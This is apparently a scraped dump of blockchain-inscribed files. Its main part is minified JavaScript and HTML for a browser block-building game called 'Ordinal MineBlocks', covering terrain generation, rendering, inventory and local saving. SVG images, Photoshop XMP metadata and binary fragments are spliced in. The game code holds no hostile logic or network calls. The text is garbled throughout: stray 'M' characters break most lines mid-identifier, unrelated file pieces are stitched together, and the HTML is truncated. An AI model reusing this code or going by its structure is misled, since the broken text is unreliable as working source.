nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
59.37.100 libvpx-vp9g
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
59.37.100 libvpx-vp9g
|http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:0875BA26A8B911EDB057D49256A8A011" xmpMM:InstanceID="xmp.iid:0875BA25A8B911EDB057D49256A8A011" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e0d18448-e896-5e43-a0da-1b9382b0ded8" stRef:documentID="xmp.did:e0d18448-e896-5e43-a0da-1b9382b0ded8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
